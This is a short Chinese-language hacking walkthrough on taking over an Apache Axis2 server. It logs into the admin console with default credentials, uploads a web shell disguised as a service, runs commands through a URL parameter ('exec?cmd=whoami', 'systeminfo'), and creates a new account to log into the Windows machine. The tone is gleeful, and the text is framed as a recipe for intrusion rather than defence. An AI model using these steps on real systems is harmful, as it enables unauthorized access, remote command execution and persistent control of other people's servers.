AXIS2 弱口令提权

AXIS2 弱口令  账号admin   默认密码：

axis2http://127.0.0.1:8080/axis2/axis2-admin

登录进去点击第一行 Tools下的Upload Service 

上传大马

上传成功后

http://127.0.0.1:8080/axis2/services/Cat/exec?cmd=whoami [whoami 查看权限]

administrator  管理员权限   看到这我们知道了 这是太win 的机器 
输入：systeminfo   看下系统信息

windows 2008的   还能看到其他一些信息  （）
创建个帐号 

创建成功 嘿嘿 登录机器  

 结束嘿嘿